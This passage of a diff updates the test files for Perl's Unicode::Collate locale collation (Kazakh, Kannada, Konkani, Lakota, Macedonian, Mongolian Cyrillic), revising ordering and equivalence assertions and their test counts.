+ok($objKk->lt("\x{448}", "\x{428}"));
+ok($objKk->lt("\x{449}", "\x{429}"));
+ok($objKk->lt("\x{44a}", "\x{42a}"));
+ok($objKk->lt("\x{44b}", "\x{42b}"));
ok($objKk->lt("\x{456}", "\x{406}"));
+ok($objKk->lt("\x{44c}", "\x{42c}"));
+ok($objKk->lt("\x{44d}", "\x{42d}"));
+ok($objKk->lt("\x{44e}", "\x{42e}"));
+ok($objKk->lt("\x{44f}", "\x{42f}"));
-# 110
+# 168
ok($objKk->eq("\x{451}", "\x{435}\x{308}"));
ok($objKk->eq("\x{401}", "\x{415}\x{308}"));
-ok($objKk->eq("\x{4E5}", "\x{438}\x{308}")); # not suppressed
-ok($objKk->eq("\x{4E4}", "\x{418}\x{308}")); # not suppressed
-ok($objKk->eq("\x{439}", "\x{438}\x{306}")); # not suppressed
-ok($objKk->eq("\x{419}", "\x{418}\x{306}")); # not suppressed
-
-# 116
-
-for my $i ("", "\0") {
- ok($objKk->eq("\x{4D1}", "\x{430}$i\x{306}"));
- ok($objKk->eq("\x{4D0}", "\x{410}$i\x{306}"));
- ok($objKk->eq("\x{4D3}", "\x{430}$i\x{308}"));
- ok($objKk->eq("\x{4D2}", "\x{410}$i\x{308}"));
- ok($objKk->eq("\x{4DB}", "\x{4D9}$i\x{308}"));
- ok($objKk->eq("\x{4DA}", "\x{4D8}$i\x{308}"));
- ok($objKk->eq("\x{453}", "\x{433}$i\x{301}"));
- ok($objKk->eq("\x{403}", "\x{413}$i\x{301}"));
- ok($objKk->eq("\x{450}", "\x{435}$i\x{300}")); # not contraction
- ok($objKk->eq("\x{400}", "\x{415}$i\x{300}")); # not contraction
- ok($objKk->eq("\x{4D7}", "\x{435}$i\x{306}"));
- ok($objKk->eq("\x{4D6}", "\x{415}$i\x{306}"));
- ok($objKk->eq("\x{4C2}", "\x{436}$i\x{306}")); # not contraction
- ok($objKk->eq("\x{4C1}", "\x{416}$i\x{306}")); # not contraction
- ok($objKk->eq("\x{4DD}", "\x{436}$i\x{308}"));
- ok($objKk->eq("\x{4DC}", "\x{416}$i\x{308}"));
- ok($objKk->eq("\x{4DF}", "\x{437}$i\x{308}"));
- ok($objKk->eq("\x{4DE}", "\x{417}$i\x{308}"));
- ok($objKk->eq("\x{45D}", "\x{438}$i\x{300}")); # not contraction
- ok($objKk->eq("\x{40D}", "\x{418}$i\x{300}")); # not contraction
- ok($objKk->eq("\x{4E3}", "\x{438}$i\x{304}")); # not contraction
- ok($objKk->eq("\x{4E2}", "\x{418}$i\x{304}")); # not contraction
- ok($objKk->eq("\x{457}", "\x{456}$i\x{308}"));
- ok($objKk->eq("\x{407}", "\x{406}$i\x{308}"));
- ok($objKk->eq("\x{4E7}", "\x{43E}$i\x{308}"));
- ok($objKk->eq("\x{4E6}", "\x{41E}$i\x{308}"));
- ok($objKk->eq("\x{4EB}", "\x{4E9}$i\x{308}"));
- ok($objKk->eq("\x{4EA}", "\x{4E8}$i\x{308}"));
- ok($objKk->eq("\x{45C}", "\x{43A}$i\x{301}"));
- ok($objKk->eq("\x{40C}", "\x{41A}$i\x{301}"));
- ok($objKk->eq("\x{4EF}", "\x{443}$i\x{304}")); # not contraction
- ok($objKk->eq("\x{4EE}", "\x{423}$i\x{304}")); # not contraction
- ok($objKk->eq("\x{45E}", "\x{443}$i\x{306}"));
- ok($objKk->eq("\x{40E}", "\x{423}$i\x{306}"));
- ok($objKk->eq("\x{4F1}", "\x{443}$i\x{308}"));
- ok($objKk->eq("\x{4F0}", "\x{423}$i\x{308}"));
- ok($objKk->eq("\x{4F3}", "\x{443}$i\x{30B}"));
- ok($objKk->eq("\x{4F2}", "\x{423}$i\x{30B}"));
- ok($objKk->eq("\x{4F5}", "\x{447}$i\x{308}"));
- ok($objKk->eq("\x{4F4}", "\x{427}$i\x{308}"));
- ok($objKk->eq("\x{4F9}", "\x{44B}$i\x{308}"));
- ok($objKk->eq("\x{4F8}", "\x{42B}$i\x{308}"));
- ok($objKk->eq("\x{4ED}", "\x{44D}$i\x{308}"));
- ok($objKk->eq("\x{4EC}", "\x{42D}$i\x{308}"));
- ok($objKk->eq("\x{477}", "\x{475}$i\x{30F}"));
- ok($objKk->eq("\x{476}", "\x{474}$i\x{30F}"));
-}
-
-# 208
-
-$objKk->change(upper_before_lower => 1);
-
-ok($objKk->gt("\x{451}", "\x{401}"));
-ok($objKk->gt("\x{4AF}", "\x{4AE}"));
-ok($objKk->gt("\x{456}", "\x{406}"));
+ok($objKk->eq("\x{439}", "\x{438}\x{306}"));
+ok($objKk->eq("\x{419}", "\x{418}\x{306}"));
-# 211
+# 172
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kn.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kn.t
index 3c273258ba8..a6f00e98097 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kn.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kn.t
@@ -42,8 +42,7 @@ $objKn->change(level => 1);
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objKn->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objKn->lt("\x{C93}$t", "\x{C94}"));
ok($objKn->lt("\x{C94}$t", "\x{C82}"));
@@ -53,3 +52,4 @@ for my $h (0, 1) {
ok($objKn->lt("\x{CF2}$t", "\x{C95}"));
}
+# 14
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kok.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kok.t
index 0b87dcbdc0b..5c60e575b62 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kok.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kok.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..21\n"; }
+BEGIN { $| = 1; print "1..23\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -56,11 +56,11 @@ ok($objKok->eq("\x{933}", "\x{934}"));
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objKok->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objKok->lt("\x{950}$t", "\x{902}"));
ok($objKok->lt("\x{902}$t", "\x{903}"));
+ ok($objKok->lt("\x{903}$t", "\x{A8FD}"));
ok($objKok->lt("\x{903}$t", "\x{972}"));
ok($objKok->lt("\x{938}$t", "\x{939}"));
@@ -69,4 +69,4 @@ for my $h (0, 1) {
ok($objKok->lt("\x{915}\x{94D}\x{937}$t", "\x{93D}"));
}
-# 21
+# 23
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_lkt.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_lkt.t
new file mode 100644
index 00000000000..b3c0aa1b6da
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_lkt.t
@@ -0,0 +1,92 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..37\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $objLkt = Unicode::Collate::Locale->
+ new(locale => 'LKT', normalization => undef);
+
+ok($objLkt->getlocale, 'lkt');
+
+$objLkt->change(level => 1);
+
+ok($objLkt->lt("c", "c\x{30C}"));
+ok($objLkt->lt("cz","c\x{30C}"));
+ok($objLkt->gt("d", "c\x{30C}"));
+ok($objLkt->lt("g", "g\x{30C}"));
+ok($objLkt->lt("gz","g\x{30C}"));
+ok($objLkt->gt("h", "g\x{30C}"));
+ok($objLkt->lt("h", "h\x{30C}"));
+ok($objLkt->lt("hz","h\x{30C}"));
+ok($objLkt->gt("i", "h\x{30C}"));
+ok($objLkt->lt("s", "s\x{30C}"));
+ok($objLkt->lt("sz","s\x{30C}"));
+ok($objLkt->gt("t", "s\x{30C}"));
+ok($objLkt->lt("z", "z\x{30C}"));
+ok($objLkt->lt("zz", "z\x{30C}"));
+ok($objLkt->lt("z\x{30C}", "\x{292}")); # U+0292 EZH
+
+# 17
+
+$objLkt->change(level => 2);
+
+ok($objLkt->eq("c\x{30C}", "C\x{30C}"));
+ok($objLkt->eq("g\x{30C}", "G\x{30C}"));
+ok($objLkt->eq("h\x{30C}", "H\x{30C}"));
+ok($objLkt->eq("s\x{30C}", "S\x{30C}"));
+ok($objLkt->eq("z\x{30C}", "Z\x{30C}"));
+
+# 22
+
+$objLkt->change(level => 3);
+
+ok($objLkt->lt("c\x{30C}", "C\x{30C}"));
+ok($objLkt->lt("g\x{30C}", "G\x{30C}"));
+ok($objLkt->lt("h\x{30C}", "H\x{30C}"));
+ok($objLkt->lt("s\x{30C}", "S\x{30C}"));
+ok($objLkt->lt("z\x{30C}", "Z\x{30C}"));
+
+# 27
+
+ok($objLkt->eq("c\x{30C}", "\x{10D}"));
+ok($objLkt->eq("C\x{30C}", "\x{10C}"));
+ok($objLkt->eq("g\x{30C}", "\x{1E7}"));
+ok($objLkt->eq("G\x{30C}", "\x{1E6}"));
+ok($objLkt->eq("h\x{30C}", "\x{21F}"));
+ok($objLkt->eq("H\x{30C}", "\x{21E}"));
+ok($objLkt->eq("s\x{30C}", "\x{161}"));
+ok($objLkt->eq("S\x{30C}", "\x{160}"));
+ok($objLkt->eq("z\x{30C}", "\x{17E}"));
+ok($objLkt->eq("Z\x{30C}", "\x{17D}"));
+
+# 37
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mk.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mk.t
index df575840eb5..937cf9385b5 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mk.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mk.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..202\n"; }
+BEGIN { $| = 1; print "1..148\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -40,175 +40,171 @@ ok($objMk->getlocale, 'mk');
$objMk->change(level => 1);
-ok($objMk->gt("\x{453}", "\x{433}")); # not suppressed
-ok($objMk->gt("\x{403}", "\x{413}")); # not suppressed
-ok($objMk->gt("\x{45C}", "\x{43A}")); # not suppressed
-ok($objMk->gt("\x{40C}", "\x{41A}")); # not suppressed
-
-# 6
-
-ok($objMk->eq("\x{4D1}", "\x{430}"));
-ok($objMk->eq("\x{4D0}", "\x{410}"));
-ok($objMk->eq("\x{4D3}", "\x{430}"));
-ok($objMk->eq("\x{4D2}", "\x{410}"));
-ok($objMk->eq("\x{4DB}", "\x{4D9}"));
-ok($objMk->eq("\x{4DA}", "\x{4D8}"));
-ok($objMk->eq("\x{450}", "\x{435}")); # not contraction
-ok($objMk->eq("\x{400}", "\x{415}")); # not contraction
-ok($objMk->eq("\x{451}", "\x{435}")); # not contraction
-ok($objMk->eq("\x{401}", "\x{415}")); # not contraction
-ok($objMk->eq("\x{4D7}", "\x{435}"));
-ok($objMk->eq("\x{4D6}", "\x{415}"));
-ok($objMk->eq("\x{4C2}", "\x{436}")); # not contraction
-ok($objMk->eq("\x{4C1}", "\x{416}")); # not contraction
-ok($objMk->eq("\x{4DD}", "\x{436}"));
-ok($objMk->eq("\x{4DC}", "\x{416}"));
-ok($objMk->eq("\x{4DF}", "\x{437}"));
-ok($objMk->eq("\x{4DE}", "\x{417}"));
-ok($objMk->eq("\x{45D}", "\x{438}")); # not contraction
-ok($objMk->eq("\x{40D}", "\x{418}")); # not contraction
-ok($objMk->eq("\x{4E3}", "\x{438}")); # not contraction
-ok($objMk->eq("\x{4E2}", "\x{418}")); # not contraction
-ok($objMk->eq("\x{4E5}", "\x{438}"));
-ok($objMk->eq("\x{4E4}", "\x{418}"));
-ok($objMk->eq("\x{457}", "\x{456}"));
-ok($objMk->eq("\x{407}", "\x{406}"));
-ok($objMk->eq("\x{439}", "\x{438}"));
-ok($objMk->eq("\x{419}", "\x{418}"));
-ok($objMk->eq("\x{4E7}", "\x{43E}"));
-ok($objMk->eq("\x{4E6}", "\x{41E}"));
-ok($objMk->eq("\x{4EB}", "\x{4E9}"));
-ok($objMk->eq("\x{4EA}", "\x{4E8}"));
-ok($objMk->eq("\x{4EF}", "\x{443}")); # not contraction
-ok($objMk->eq("\x{4EE}", "\x{423}")); # not contraction
-ok($objMk->eq("\x{45E}", "\x{443}"));
-ok($objMk->eq("\x{40E}", "\x{423}"));
-ok($objMk->eq("\x{4F1}", "\x{443}"));
-ok($objMk->eq("\x{4F0}", "\x{423}"));
-ok($objMk->eq("\x{4F3}", "\x{443}"));
-ok($objMk->eq("\x{4F2}", "\x{423}"));
-ok($objMk->eq("\x{4F5}", "\x{447}"));
-ok($objMk->eq("\x{4F4}", "\x{427}"));
-ok($objMk->eq("\x{4F9}", "\x{44B}"));
-ok($objMk->eq("\x{4F8}", "\x{42B}"));
-ok($objMk->eq("\x{4ED}", "\x{44D}"));
-ok($objMk->eq("\x{4EC}", "\x{42D}"));
-ok($objMk->eq("\x{477}", "\x{475}"));
-ok($objMk->eq("\x{476}", "\x{474}"));
-
-# 54
+ok($objMk->lt("\x{430}z", "\x{431}"));
+ok($objMk->lt("\x{431}z", "\x{432}"));
+ok($objMk->lt("\x{432}z", "\x{433}"));
+ok($objMk->lt("\x{433}z", "\x{434}"));
+ok($objMk->lt("\x{434}z", "\x{503}"));
+ok($objMk->lt("\x{503}z", "\x{453}"));
+ok($objMk->lt("\x{453}z", "\x{435}"));
+ok($objMk->lt("\x{435}z", "\x{436}"));
+ok($objMk->lt("\x{436}z", "\x{437}"));
+ok($objMk->lt("\x{437}z", "\x{455}"));
+ok($objMk->lt("\x{455}z", "\x{438}"));
+ok($objMk->lt("\x{438}z", "\x{458}"));
+ok($objMk->lt("\x{458}z", "\x{43a}"));
+ok($objMk->lt("\x{43a}z", "\x{43b}"));
+ok($objMk->lt("\x{43b}z", "\x{459}"));
+ok($objMk->lt("\x{459}z", "\x{43c}"));
+ok($objMk->lt("\x{43c}z", "\x{43d}"));
+ok($objMk->lt("\x{43d}z", "\x{45a}"));
+ok($objMk->lt("\x{45a}z", "\x{43e}"));
+ok($objMk->lt("\x{43e}z", "\x{43f}"));
+ok($objMk->lt("\x{43f}z", "\x{440}"));
+ok($objMk->lt("\x{440}z", "\x{441}"));
+ok($objMk->lt("\x{441}z", "\x{442}"));
+ok($objMk->lt("\x{442}z", "\x{45b}"));
+ok($objMk->lt("\x{45b}z", "\x{45c}"));
+ok($objMk->lt("\x{45c}z", "\x{443}"));
+ok($objMk->lt("\x{443}z", "\x{444}"));
+ok($objMk->lt("\x{444}z", "\x{445}"));
+ok($objMk->lt("\x{445}z", "\x{446}"));
+ok($objMk->lt("\x{446}z", "\x{447}"));
+ok($objMk->lt("\x{447}z", "\x{45f}"));
+ok($objMk->lt("\x{45f}z", "\x{448}"));
+
+ok($objMk->lt("\x{410}z", "\x{411}"));
+ok($objMk->lt("\x{411}z", "\x{412}"));
+ok($objMk->lt("\x{412}z", "\x{413}"));
+ok($objMk->lt("\x{413}z", "\x{414}"));
+ok($objMk->lt("\x{414}z", "\x{502}"));
+ok($objMk->lt("\x{502}z", "\x{403}"));
+ok($objMk->lt("\x{403}z", "\x{415}"));
+ok($objMk->lt("\x{415}z", "\x{416}"));
+ok($objMk->lt("\x{416}z", "\x{417}"));
+ok($objMk->lt("\x{417}z", "\x{405}"));
+ok($objMk->lt("\x{405}z", "\x{418}"));
+ok($objMk->lt("\x{418}z", "\x{408}"));
+ok($objMk->lt("\x{408}z", "\x{41a}"));
+ok($objMk->lt("\x{41a}z", "\x{41b}"));
+ok($objMk->lt("\x{41b}z", "\x{409}"));
+ok($objMk->lt("\x{409}z", "\x{41c}"));
+ok($objMk->lt("\x{41c}z", "\x{41d}"));
+ok($objMk->lt("\x{41d}z", "\x{40a}"));
+ok($objMk->lt("\x{40a}z", "\x{41e}"));
+ok($objMk->lt("\x{41e}z", "\x{41f}"));
+ok($objMk->lt("\x{41f}z", "\x{420}"));
+ok($objMk->lt("\x{420}z", "\x{421}"));
+ok($objMk->lt("\x{421}z", "\x{422}"));
+ok($objMk->lt("\x{422}z", "\x{40b}"));
+ok($objMk->lt("\x{40b}z", "\x{40c}"));
+ok($objMk->lt("\x{40c}z", "\x{423}"));
+ok($objMk->lt("\x{423}z", "\x{424}"));
+ok($objMk->lt("\x{424}z", "\x{425}"));
+ok($objMk->lt("\x{425}z", "\x{426}"));
+ok($objMk->lt("\x{426}z", "\x{427}"));
+ok($objMk->lt("\x{427}z", "\x{40f}"));
+ok($objMk->lt("\x{40f}z", "\x{428}"));
+
+# 66
+
+ok($objMk->eq("\x{438}", "\x{439}"));
+ok($objMk->eq("\x{418}", "\x{419}"));
+
+# 68
$objMk->change(level => 2);
-ok($objMk->gt("\x{4D1}", "\x{430}"));
-ok($objMk->gt("\x{4D0}", "\x{410}"));
-ok($objMk->gt("\x{4D3}", "\x{430}"));
-ok($objMk->gt("\x{4D2}", "\x{410}"));
-ok($objMk->gt("\x{4DB}", "\x{4D9}"));
-ok($objMk->gt("\x{4DA}", "\x{4D8}"));
-ok($objMk->gt("\x{450}", "\x{435}")); # not contraction
-ok($objMk->gt("\x{400}", "\x{415}")); # not contraction
-ok($objMk->gt("\x{451}", "\x{435}")); # not contraction
-ok($objMk->gt("\x{401}", "\x{415}")); # not contraction
-ok($objMk->gt("\x{4D7}", "\x{435}"));
-ok($objMk->gt("\x{4D6}", "\x{415}"));
-ok($objMk->gt("\x{4C2}", "\x{436}")); # not contraction
-ok($objMk->gt("\x{4C1}", "\x{416}")); # not contraction
-ok($objMk->gt("\x{4DD}", "\x{436}"));
-ok($objMk->gt("\x{4DC}", "\x{416}"));
-ok($objMk->gt("\x{4DF}", "\x{437}"));
-ok($objMk->gt("\x{4DE}", "\x{417}"));
-ok($objMk->gt("\x{45D}", "\x{438}")); # not contraction
-ok($objMk->gt("\x{40D}", "\x{418}")); # not contraction
-ok($objMk->gt("\x{4E3}", "\x{438}")); # not contraction
-ok($objMk->gt("\x{4E2}", "\x{418}")); # not contraction
-ok($objMk->gt("\x{4E5}", "\x{438}"));
-ok($objMk->gt("\x{4E4}", "\x{418}"));
-ok($objMk->gt("\x{457}", "\x{456}"));
-ok($objMk->gt("\x{407}", "\x{406}"));
-ok($objMk->gt("\x{439}", "\x{438}"));
-ok($objMk->gt("\x{419}", "\x{418}"));
-ok($objMk->gt("\x{4E7}", "\x{43E}"));
-ok($objMk->gt("\x{4E6}", "\x{41E}"));
-ok($objMk->gt("\x{4EB}", "\x{4E9}"));
-ok($objMk->gt("\x{4EA}", "\x{4E8}"));
-ok($objMk->gt("\x{4EF}", "\x{443}")); # not contraction
-ok($objMk->gt("\x{4EE}", "\x{423}")); # not contraction
-ok($objMk->gt("\x{45E}", "\x{443}"));
-ok($objMk->gt("\x{40E}", "\x{423}"));
-ok($objMk->gt("\x{4F1}", "\x{443}"));
-ok($objMk->gt("\x{4F0}", "\x{423}"));
-ok($objMk->gt("\x{4F3}", "\x{443}"));
-ok($objMk->gt("\x{4F2}", "\x{423}"));
-ok($objMk->gt("\x{4F5}", "\x{447}"));
-ok($objMk->gt("\x{4F4}", "\x{427}"));
-ok($objMk->gt("\x{4F9}", "\x{44B}"));
-ok($objMk->gt("\x{4F8}", "\x{42B}"));
-ok($objMk->gt("\x{4ED}", "\x{44D}"));
-ok($objMk->gt("\x{4EC}", "\x{42D}"));
-ok($objMk->gt("\x{477}", "\x{475}"));
-ok($objMk->gt("\x{476}", "\x{474}"));
-
-# 102
+ok($objMk->lt("\x{438}", "\x{439}"));
+ok($objMk->lt("\x{418}", "\x{419}"));
+
+# 70
+
+ok($objMk->eq("\x{430}", "\x{410}"));
+ok($objMk->eq("\x{431}", "\x{411}"));
+ok($objMk->eq("\x{432}", "\x{412}"));
+ok($objMk->eq("\x{433}", "\x{413}"));
+ok($objMk->eq("\x{434}", "\x{414}"));
+ok($objMk->eq("\x{503}", "\x{502}"));
+ok($objMk->eq("\x{453}", "\x{403}"));
+ok($objMk->eq("\x{435}", "\x{415}"));
+ok($objMk->eq("\x{436}", "\x{416}"));
+ok($objMk->eq("\x{437}", "\x{417}"));
+ok($objMk->eq("\x{455}", "\x{405}"));
+ok($objMk->eq("\x{438}", "\x{418}"));
+ok($objMk->eq("\x{439}", "\x{419}"));
+ok($objMk->eq("\x{458}", "\x{408}"));
+ok($objMk->eq("\x{43a}", "\x{41a}"));
+ok($objMk->eq("\x{43b}", "\x{41b}"));
+ok($objMk->eq("\x{459}", "\x{409}"));
+ok($objMk->eq("\x{43c}", "\x{41c}"));
+ok($objMk->eq("\x{43d}", "\x{41d}"));
+ok($objMk->eq("\x{45a}", "\x{40a}"));
+ok($objMk->eq("\x{43e}", "\x{41e}"));
+ok($objMk->eq("\x{43f}", "\x{41f}"));
+ok($objMk->eq("\x{440}", "\x{420}"));
+ok($objMk->eq("\x{441}", "\x{421}"));
+ok($objMk->eq("\x{442}", "\x{422}"));
+ok($objMk->eq("\x{45b}", "\x{40b}"));
+ok($objMk->eq("\x{45c}", "\x{40c}"));
+ok($objMk->eq("\x{443}", "\x{423}"));
+ok($objMk->eq("\x{444}", "\x{424}"));
+ok($objMk->eq("\x{445}", "\x{425}"));
+ok($objMk->eq("\x{446}", "\x{426}"));
+ok($objMk->eq("\x{447}", "\x{427}"));
+ok($objMk->eq("\x{45f}", "\x{40f}"));
+ok($objMk->eq("\x{448}", "\x{428}"));
+
+# 104
$objMk->change(level => 3);
-ok($objMk->eq("\x{453}", "\x{433}\x{301}")); # not suppressed
-ok($objMk->eq("\x{403}", "\x{413}\x{301}")); # not suppressed
-ok($objMk->eq("\x{45C}", "\x{43A}\x{301}")); # not suppressed
-ok($objMk->eq("\x{40C}", "\x{41A}\x{301}")); # not suppressed
-
-# 106
-
-for my $i ("", "\0") {
- ok($objMk->eq("\x{4D1}", "\x{430}$i\x{306}"));
- ok($objMk->eq("\x{4D0}", "\x{410}$i\x{306}"));
- ok($objMk->eq("\x{4D3}", "\x{430}$i\x{308}"));
- ok($objMk->eq("\x{4D2}", "\x{410}$i\x{308}"));
- ok($objMk->eq("\x{4DB}", "\x{4D9}$i\x{308}"));
- ok($objMk->eq("\x{4DA}", "\x{4D8}$i\x{308}"));
- ok($objMk->eq("\x{450}", "\x{435}$i\x{300}")); # not contraction
- ok($objMk->eq("\x{400}", "\x{415}$i\x{300}")); # not contraction
- ok($objMk->eq("\x{451}", "\x{435}$i\x{308}")); # not contraction
- ok($objMk->eq("\x{401}", "\x{415}$i\x{308}")); # not contraction
- ok($objMk->eq("\x{4D7}", "\x{435}$i\x{306}"));
- ok($objMk->eq("\x{4D6}", "\x{415}$i\x{306}"));
- ok($objMk->eq("\x{4C2}", "\x{436}$i\x{306}")); # not contraction
- ok($objMk->eq("\x{4C1}", "\x{416}$i\x{306}")); # not contraction
- ok($objMk->eq("\x{4DD}", "\x{436}$i\x{308}"));
- ok($objMk->eq("\x{4DC}", "\x{416}$i\x{308}"));
- ok($objMk->eq("\x{4DF}", "\x{437}$i\x{308}"));
- ok($objMk->eq("\x{4DE}", "\x{417}$i\x{308}"));
- ok($objMk->eq("\x{45D}", "\x{438}$i\x{300}")); # not contraction
- ok($objMk->eq("\x{40D}", "\x{418}$i\x{300}")); # not contraction
- ok($objMk->eq("\x{4E3}", "\x{438}$i\x{304}")); # not contraction
- ok($objMk->eq("\x{4E2}", "\x{418}$i\x{304}")); # not contraction
- ok($objMk->eq("\x{4E5}", "\x{438}$i\x{308}"));
- ok($objMk->eq("\x{4E4}", "\x{418}$i\x{308}"));
- ok($objMk->eq("\x{457}", "\x{456}$i\x{308}"));
- ok($objMk->eq("\x{407}", "\x{406}$i\x{308}"));
- ok($objMk->eq("\x{439}", "\x{438}$i\x{306}"));
- ok($objMk->eq("\x{419}", "\x{418}$i\x{306}"));
- ok($objMk->eq("\x{4E7}", "\x{43E}$i\x{308}"));
- ok($objMk->eq("\x{4E6}", "\x{41E}$i\x{308}"));
- ok($objMk->eq("\x{4EB}", "\x{4E9}$i\x{308}"));
- ok($objMk->eq("\x{4EA}", "\x{4E8}$i\x{308}"));
- ok($objMk->eq("\x{4EF}", "\x{443}$i\x{304}")); # not contraction
- ok($objMk->eq("\x{4EE}", "\x{423}$i\x{304}")); # not contraction
- ok($objMk->eq("\x{45E}", "\x{443}$i\x{306}"));
- ok($objMk->eq("\x{40E}", "\x{423}$i\x{306}"));
- ok($objMk->eq("\x{4F1}", "\x{443}$i\x{308}"));
- ok($objMk->eq("\x{4F0}", "\x{423}$i\x{308}"));
- ok($objMk->eq("\x{4F3}", "\x{443}$i\x{30B}"));
- ok($objMk->eq("\x{4F2}", "\x{423}$i\x{30B}"));
- ok($objMk->eq("\x{4F5}", "\x{447}$i\x{308}"));
- ok($objMk->eq("\x{4F4}", "\x{427}$i\x{308}"));
- ok($objMk->eq("\x{4F9}", "\x{44B}$i\x{308}"));
- ok($objMk->eq("\x{4F8}", "\x{42B}$i\x{308}"));
- ok($objMk->eq("\x{4ED}", "\x{44D}$i\x{308}"));
- ok($objMk->eq("\x{4EC}", "\x{42D}$i\x{308}"));
- ok($objMk->eq("\x{477}", "\x{475}$i\x{30F}"));
- ok($objMk->eq("\x{476}", "\x{474}$i\x{30F}"));
-}
-
-# 202
+ok($objMk->lt("\x{430}", "\x{410}"));
+ok($objMk->lt("\x{431}", "\x{411}"));
+ok($objMk->lt("\x{432}", "\x{412}"));
+ok($objMk->lt("\x{433}", "\x{413}"));
+ok($objMk->lt("\x{434}", "\x{414}"));
+ok($objMk->lt("\x{503}", "\x{502}"));
+ok($objMk->lt("\x{453}", "\x{403}"));
+ok($objMk->lt("\x{435}", "\x{415}"));
+ok($objMk->lt("\x{436}", "\x{416}"));
+ok($objMk->lt("\x{437}", "\x{417}"));
+ok($objMk->lt("\x{455}", "\x{405}"));
+ok($objMk->lt("\x{438}", "\x{418}"));
+ok($objMk->lt("\x{439}", "\x{419}"));
+ok($objMk->lt("\x{458}", "\x{408}"));
+ok($objMk->lt("\x{43a}", "\x{41a}"));
+ok($objMk->lt("\x{43b}", "\x{41b}"));
+ok($objMk->lt("\x{459}", "\x{409}"));
+ok($objMk->lt("\x{43c}", "\x{41c}"));
+ok($objMk->lt("\x{43d}", "\x{41d}"));
+ok($objMk->lt("\x{45a}", "\x{40a}"));
+ok($objMk->lt("\x{43e}", "\x{41e}"));
+ok($objMk->lt("\x{43f}", "\x{41f}"));
+ok($objMk->lt("\x{440}", "\x{420}"));
+ok($objMk->lt("\x{441}", "\x{421}"));
+ok($objMk->lt("\x{442}", "\x{422}"));
+ok($objMk->lt("\x{45b}", "\x{40b}"));
+ok($objMk->lt("\x{45c}", "\x{40c}"));
+ok($objMk->lt("\x{443}", "\x{423}"));
+ok($objMk->lt("\x{444}", "\x{424}"));
+ok($objMk->lt("\x{445}", "\x{425}"));
+ok($objMk->lt("\x{446}", "\x{426}"));
+ok($objMk->lt("\x{447}", "\x{427}"));
+ok($objMk->lt("\x{45f}", "\x{40f}"));
+ok($objMk->lt("\x{448}", "\x{428}"));
+
+# 138
+
+ok($objMk->eq("\x{453}", "\x{433}\x{301}"));
+ok($objMk->eq("\x{453}", "\x{433}\x{341}"));
+ok($objMk->eq("\x{403}", "\x{413}\x{301}"));
+ok($objMk->eq("\x{403}", "\x{413}\x{341}"));
+ok($objMk->eq("\x{439}", "\x{438}\x{306}"));
+ok($objMk->eq("\x{419}", "\x{418}\x{306}"));
+ok($objMk->eq("\x{45c}", "\x{43a}\x{301}"));
+ok($objMk->eq("\x{45c}", "\x{43a}\x{341}"));
+ok($objMk->eq("\x{40c}", "\x{41a}\x{301}"));
+ok($objMk->eq("\x{40c}", "\x{41a}\x{341}"));
+
+# 148
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mncy.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mncy.t
new file mode 100644
index 00000000000..cea60780153
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_mncy.t
@@ -0,0 +1,208 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..146\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
